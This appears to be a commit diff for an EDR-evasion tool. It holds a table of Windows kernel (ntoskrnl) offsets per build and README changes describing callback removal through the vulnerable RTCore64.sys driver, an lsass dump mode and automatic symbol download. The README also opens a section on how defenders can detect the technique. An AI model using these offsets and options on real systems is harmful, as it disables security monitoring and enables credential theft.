ntoskrnl_17763-2268.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-2305.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-2300.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-2330.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-2237.exe,4d6b70,4d6770,4d6970,6ca,407438,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-2366.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60,53e2d0,53e2f8,c8
|
||||
ntoskrnl_17763-2452.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-2510.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-2458.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-253.exe,4d9d70,4d9970,4d9b70,6ca,40a038,20,50,5422d0,5422f8,c8
|
||||
ntoskrnl_17763-2565.exe,4d6970,4d6b70,4d6770,6ca,407470,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-2628.exe,4d68f0,4d6af0,4d66f0,6ca,407438,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-2686.exe,4d6930,4d6b30,4d6730,6ca,407410,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-2746.exe,4d6930,4d6b30,4d6730,6ca,407410,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-2803.exe,4d6930,4d6b30,4d6730,6ca,407410,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-2867.exe,4d6b30,4d6730,4d6930,6ca,407480,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-292.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-2928.exe,4d6b30,4d6730,4d6930,6ca,407480,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-2931.exe,4d6b30,4d6730,4d6930,6ca,407480,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-3046.exe,4d6840,4d6a40,4d6640,6ca,407430,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-2989.exe,4d6880,4d6a80,4d6680,6ca,407450,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-316.exe,4daaf0,4dacf0,4da8f0,6ca,40b078,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-3165.exe,4d6b40,4d6740,4d6940,6ca,407498,20,60,53f2d0,53f2f8,c8
|
||||
ntoskrnl_17763-404.exe,4dad70,4da970,4dab70,6ca,40b718,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-348.exe,4dabb0,4da7b0,4da9b0,6ca,40afb8,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-437.exe,4dad70,4da970,4dab70,6ca,40b718,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-379.exe,4dabf0,4da7f0,4da9f0,6ca,40aff8,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-439.exe,4dad70,4da970,4dab70,6ca,40b718,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-475.exe,4daaf0,4dacf0,4da8f0,6ca,40b730,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-503.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-557.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-55.exe,45c4f0,45c0f0,45c2f0,6ca,40f098,20,50,4c52d0,4c52f8,c8
|
||||
ntoskrnl_17763-504.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-529.exe,4da9b0,4dabb0,4da7b0,6ca,40b598,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-615.exe,4dac70,4da870,4daa70,6ca,40b610,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-652.exe,4dabf0,4da7f0,4da9f0,6ca,40b5f0,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-593.exe,4dac70,4da870,4daa70,6ca,40b610,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-719.exe,4daa30,4dac30,4da830,6ca,40b658,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-737.exe,4da9f0,4dabf0,4da7f0,6ca,40b5d8,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-678.exe,4dac30,4da830,4daa30,6ca,40b610,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-771.exe,4dac70,4da870,4daa70,6ca,40b630,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-802.exe,4dacb0,4da8b0,4daab0,6ca,40b6c0,20,50,5432d0,5432f8,c8
|
||||
ntoskrnl_17763-831.exe,4d8c70,4d8870,4d8a70,6ca,409610,20,50,5412d0,5412f8,c8
|
||||
ntoskrnl_17763-864.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50,5412d0,5412f8,c8
|
||||
ntoskrnl_17763-973.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50,5412d0,5412f8,c8
|
||||
ntoskrnl_17763-914.exe,4d8b70,4d8d70,4d8970,6ca,409698,20,50,5412d0,5412f8,c8
|
||||
ntoskrnl_18362-1016.exe,505fa0,505ba0,505da0,6fa,434bf8,20,60,574390,5743b8,c8
|
||||
ntoskrnl_18362-1049.exe,503fe0,503be0,503de0,6fa,432c38,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1110.exe,503fa0,503ba0,503da0,6fa,432c18,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1082.exe,503fa0,503ba0,503da0,6fa,432bf8,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1139.exe,5040a0,503ca0,503ea0,6fa,432c98,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-116.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8
|
||||
ntoskrnl_18362-1171.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1198.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1237.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1256.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1316.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1350.exe,503b60,503d60,503960,6fa,432bf8,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1377.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1379.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1411.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1440.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1441.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-145.exe,500de0,5009e0,500be0,6fa,42f9e8,20,50,56f390,56f3b8,c8
|
||||
ntoskrnl_18362-1443.exe,503da0,5039a0,503ba0,6fa,432c38,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1474.exe,503ba0,503da0,5039a0,6fa,432c38,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1500.exe,503b60,503d60,503960,6fa,432c18,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1533.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1556.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1621.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1593.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1646.exe,503e20,503a20,503c20,6fa,432c78,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1734.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1679.exe,502da0,5029a0,502ba0,6fa,431bf8,20,60,571390,5713b8,c8
|
||||
ntoskrnl_18362-1801.exe,503ce0,503ee0,503ae0,6fa,432c38,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1854.exe,503ba0,503da0,5039a0,6fa,432c58,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1977.exe,503ba0,503da0,5039a0,6fa,432c50,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-1916.exe,503ba0,503da0,5039a0,6fa,432c50,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-2037.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-2039.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-207.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8
|
||||
ntoskrnl_18362-2158.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-2094.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-2212.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-239.exe,500de0,5009e0,500be0,6fa,42fa48,20,50,56f390,56f3b8,c8
|
||||
ntoskrnl_18362-2274.exe,503de0,5039e0,503be0,6fa,432c38,20,60,572390,5723b8,c8
|
||||
ntoskrnl_18362-267.exe,503f60,503b60,503d60,6fa,432c60,20,50,572390,5723b8,c8
|
||||
ntoskrnl_18362-295.exe,503fa0,503ba0,503da0,6fa,432c48,20,50,572390,5723b8,c8
|
||||
ntoskrnl_18362-329.exe,504ee0,5050e0,504ce0,6fa,433c28,20,50,573390,5733b8,c8
|
||||
ntoskrnl_18362-30.exe,500d60,500960,500b60,6fa,42fa40,20,50,56f390,56f3b8,c8
|
||||
ntoskrnl_18362-356.exe,505060,504c60,504e60,6fa,433c90,20,50,573390,5733b8,c8
|
||||
ntoskrnl_18362-357.exe,505060,504c60,504e60,6fa,433c90,20,50,573390,5733b8,c8
|
||||
ntoskrnl_18362-387.exe,505fe0,505be0,505de0,6fa,434c38,20,50,574390,5743b8,c8
|
||||
ntoskrnl_18362-388.exe,505fe0,505be0,505de0,6fa,434c38,20,50,574390,5743b8,c8
|
||||
ntoskrnl_18362-476.exe,506060,505c60,505e60,6fa,434c78,20,50,574390,5743b8,c8
|
||||
ntoskrnl_18362-449.exe,505da0,505fa0,505ba0,6fa,434c58,20,50,574390,5743b8,c8
|
||||
ntoskrnl_18362-418.exe,505ee0,5060e0,505ce0,6fa,434c58,20,50,574390,5743b8,c8
|
||||
ntoskrnl_18362-535.exe,506020,505c20,505e20,6fa,434c78,20,50,574390,5743b8,c8
|
||||
ntoskrnl_18362-592.exe,506060,505c60,505e60,6fa,434c80,20,50,574390,5743b8,c8
|
||||
ntoskrnl_18362-657.exe,505e60,506060,505c60,6fa,434c78,20,50,574390,5743b8,c8
|
||||
ntoskrnl_18362-628.exe,506060,505c60,505e60,6fa,434c78,20,50,574390,5743b8,c8
|
||||
ntoskrnl_18362-693.exe,505de0,505fe0,505be0,6fa,434c38,20,60,574390,5743b8,c8
|
||||
ntoskrnl_18362-719.exe,505e20,506020,505c20,6fa,434c78,20,60,574390,5743b8,c8
|
||||
ntoskrnl_18362-720.exe,505e20,506020,505c20,6fa,434c78,20,60,574390,5743b8,c8
|
||||
ntoskrnl_18362-752.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60,574390,5743b8,c8
|
||||
ntoskrnl_18362-778.exe,505e60,506060,505c60,6fa,434c70,20,60,574390,5743b8,c8
|
||||
ntoskrnl_18362-753.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60,574390,5743b8,c8
|
||||
ntoskrnl_18362-815.exe,505e60,506060,505c60,6fa,434c70,20,60,574390,5743b8,c8
|
||||
ntoskrnl_18362-836.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60,574390,5743b8,c8
|
||||
ntoskrnl_18362-904.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60,574390,5743b8,c8
|
||||
ntoskrnl_18362-900.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60,574390,5743b8,c8
|
||||
ntoskrnl_19041-1023.exe,cec460,cec260,cec060,87a,c19db8,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_18362-959.exe,505ea0,5060a0,505ca0,6fa,434cb8,20,60,574390,5743b8,c8
|
||||
ntoskrnl_19041-1052.exe,cebfe0,cec3e0,cec1e0,87a,c19790,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_18362-997.exe,505e60,506060,505c60,6fa,434c78,20,60,574390,5743b8,c8
|
||||
ntoskrnl_19041-1.exe,cec0e0,cec2e0,cebee0,87a,c19898,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-1055.exe,cec020,cec420,cec220,87a,c19790,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1081.exe,cec1e0,cebfe0,cec3e0,87a,c19758,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1083.exe,cec420,cec220,cec020,87a,c19758,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1082.exe,cec420,cec220,cec020,87a,c19758,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1110.exe,cec120,cebf20,cec320,87a,c197f8,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-1202.exe,cec320,cec120,cebf20,87a,c197d0,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-1165.exe,cec2e0,cec0e0,cebee0,87a,c197a0,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-1151.exe,cec320,cec120,cebf20,87a,c197c0,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-1237.exe,cec320,cec120,cebf20,87a,c197d0,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-1266.exe,cec3a0,cec1a0,cebfa0,87a,c19770,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1288.exe,cec1a0,cebfa0,cec3a0,87a,c19790,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1320.exe,cec4e0,cec2e0,cec0e0,87a,c197c0,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1348.exe,cec4e0,cec2e0,cec0e0,87a,c197c0,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1387.exe,cec1a0,cec3a0,cebfa0,87a,c197a0,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1466.exe,cec020,cec220,cec420,87a,c19780,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1469.exe,cec020,cec220,cec420,87a,c19780,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1415.exe,cec1e0,cec3e0,cebfe0,87a,c197c0,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1503.exe,cebfa0,cec3a0,cec1a0,87a,c197a0,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-1566.exe,cec3e0,cec1e0,cebfe0,87a,c197f8,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-1526.exe,cec4e0,cec2e0,cec0e0,87a,c197a0,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1620.exe,cec460,cec260,cec060,87a,c19dc8,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1586.exe,cec3e0,cec1e0,cebfe0,87a,c197f8,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-1645.exe,cec3a0,cec1a0,cebfa0,87a,c19de8,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1682.exe,cec460,cec260,cec060,87a,c19dc8,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1706.exe,cec260,cec060,cec460,87a,c19e08,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1708.exe,cec460,cec260,cec060,87a,c19de8,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1806.exe,cec0e0,cec4e0,cec2e0,87a,c19df8,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1766.exe,cec4a0,cec2a0,cec0a0,87a,c19810,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1741.exe,cebf60,cec360,cec160,87a,c19770,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-1826.exe,cec3e0,cec1e0,cebfe0,87a,c19df8,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-1865.exe,cec120,cec520,cec320,87a,c19de0,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-264.exe,cec060,cec260,cebe60,87a,c19858,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-331.exe,cec320,cebf20,cec120,87a,c19898,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-329.exe,cec320,cebf20,cec120,87a,c19898,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-388.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-423.exe,cec160,cec360,cebf60,87a,c198b8,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-488.exe,cec220,cec420,cec020,87a,c19918,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-450.exe,cec320,cebf20,cec120,87a,c198b8,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-572.exe,cec420,cec020,cec220,87a,c19938,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-508.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-546.exe,cec420,cec020,cec220,87a,c19938,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-610.exe,cec220,cec420,cec020,87a,c19978,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-630.exe,cec220,cec420,cec020,87a,c19978,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-662.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-685.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-631.exe,cec220,cec420,cec020,87a,c19978,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-746.exe,cebfe0,cec3e0,cec1e0,87a,c198f8,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-789.exe,cec220,cec620,cec420,87a,c19998,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-844.exe,cec660,cec460,cec260,87a,c19fa8,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-804.exe,cec420,cec220,cec020,87a,c19918,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-870.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-868.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-867.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-906.exe,cec5e0,cec3e0,cec1e0,87a,c199d0,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-928.exe,cec520,cec320,cec120,87a,c19950,20,60,cfc410,cfc440,c8
|
||||
ntoskrnl_19041-985.exe,cec360,cec160,cebf60,87a,c19d78,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_19041-964.exe,cec0e0,cebee0,cec2e0,87a,c19d38,20,60,cfb410,cfb440,c8
|
||||
ntoskrnl_22000-194.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-258.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-282.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-318.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-348.exe,cf5e00,cf6200,cf6000,87a,c15d40,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-376.exe,cf5e00,cf6200,cf6000,87a,c15d40,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-434.exe,cf5dc0,cf61c0,cf5fc0,87a,c163b8,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-438.exe,cf5e00,cf6200,cf6000,87a,c16398,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-493.exe,cf6140,cf6340,cf5f40,87a,c15d58,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-469.exe,cf6140,cf6340,cf5f40,87a,c15d38,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-527.exe,cf6300,cf5f00,cf6100,87a,c15d58,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-556.exe,cf62c0,cf5ec0,cf60c0,87a,c15d78,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-593.exe,cf63c0,cf61c0,cf5fc0,87a,c15d78,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-613.exe,cf6340,cf6140,cf5f40,87a,c15d78,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-652.exe,cf62c0,cf60c0,cf5ec0,87a,c163d8,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-675.exe,cf6300,cf6100,cf5f00,87a,c163d8,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-739.exe,cf62c0,cf60c0,cf5ec0,87a,c163c0,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-778.exe,cf6180,cf5f80,cf5d80,87a,c163b8,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-795.exe,cf6180,cf5f80,cf5d80,87a,c163b8,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_22000-832.exe,cf6380,cf6180,cf5f80,87a,c163a8,20,60,d06890,d068c0,c8
|
||||
ntoskrnl_7601-25740.exe,21c500,21c2e0,21c0c0,0,0,20,50,29e020,29e050,c0
|
||||
ntoskrnl_9600-17031.exe,2e1a40,2e1840,2e1640,67a,0,10,50,354020,354048,c8
|
||||
ntoskrnl_9600-19321.exe,2dcb10,2dc910,2dc710,67a,0,20,50,34f030,34f048,c8
|
||||
ntoskrnl_9600-19376.exe,2dbb10,2db910,2db710,67a,0,20,50,34e030,34e048,c8
|
||||
ntoskrnl_9600-19426.exe,2dbb10,2db910,2db710,67a,0,20,50,34e030,34e048,c8
|
||||
ntoskrnl_9600-20144.exe,2dac50,2daa50,2da850,67a,0,20,50,34d030,34d048,c8
|
||||
ntoskrnl_7601-17514.exe,ffffffffffffffff,ffffffffffffffff,ffffffffffffffff,0,0,8,38,16002c,160028,80
|
||||
ntoskrnl_6003-21251.exe,1a9d00,1a9ae0,1a9a80,0,0,10,50,22c020,22c040,228
|
||||
|
||||
|
@@ -44,7 +44,7 @@ searches is justified by the fact that the undocumented APIs responsible for
|
||||
Kernel callbacks addition / removal are subject to change and that any attempt
|
||||
to write Kernel memory at the wrong address may (and often will) result in a
|
||||
`Bug Check` (`Blue Screen of Death`). For more information on how the offsets
|
||||
were gathered, refer to [Offsets section](Offsets).
|
||||
were gathered (and how to update them), refer to [Offsets section](Offsets).
|
||||
|
||||
### EDR bypass through deactivation of the ETW Microsoft-Windows-Threat-Intelligence provider
|
||||
|
||||
@@ -399,12 +399,12 @@ Actions mode:
|
||||
|
||||
Other options:
|
||||
|
||||
--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host
|
||||
--dont-unload-driver Keep the vulnerable driver installed on the host
|
||||
Default to automatically unsinstall the driver.
|
||||
--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.
|
||||
Default to restore the callbacks.
|
||||
|
||||
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.
|
||||
--driver <RTCore64.sys> Path to the vulnerable driver file.
|
||||
Default to 'RTCore64.sys' in the current directory.
|
||||
--service <SERVICE_NAME> Name of the vulnerable service to intall / start.
|
||||
|
||||
@@ -423,6 +423,11 @@ Other options:
|
||||
|
||||
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.
|
||||
Default to 'lsass' in the current directory.
|
||||
|
||||
-i | --internet Enables automatic symbols download from Microsoft Symbol Server
|
||||
If a corresponding *Offsets.csv file exists, appends the downloaded offsets to the file for later use
|
||||
OpSec warning: downloads and drops on disk a PDB file for ntoskrnl.exe and/or wdigest.dll
|
||||
|
||||
```
|
||||
|
||||
### Build
|
||||
@@ -456,6 +461,10 @@ optional arguments:
|
||||
-d, --dowload Flag to download the PE from Microsoft servers using list of versions from winbindex.m417z.com.
|
||||
```
|
||||
|
||||
### Automatic offsets retrieval and update
|
||||
An additionnal option has been implemented in `EDRSandBlast` to allow the program to download the needed `.pdb` files itself from Microsoft Symbol Server, extract the required offsets, and even update the corresponding `.csv` files if present.
|
||||
Using the `--internet` option make the tool execution much simpler, while introducing an additionnal OpSec risk, since a `.pdb` file is downloaded and dropped on disk during the process. This is required by the `dbghelp.dll` functions used to parse the symbols database ; however, full in-memory PDB parsing might be implemented in the future to lift this requierement and reduce the tool's footprint.
|
||||
|
||||
## Detection
|
||||
From the defender (EDR vendor, Microsoft, SOC analysts looking at EDR's telemetry, ...) point of view, multiple indicators can be used to detect or prevent this kind of techniques.
|
||||
|
||||
|
||||
Reference in New Issue
Block a user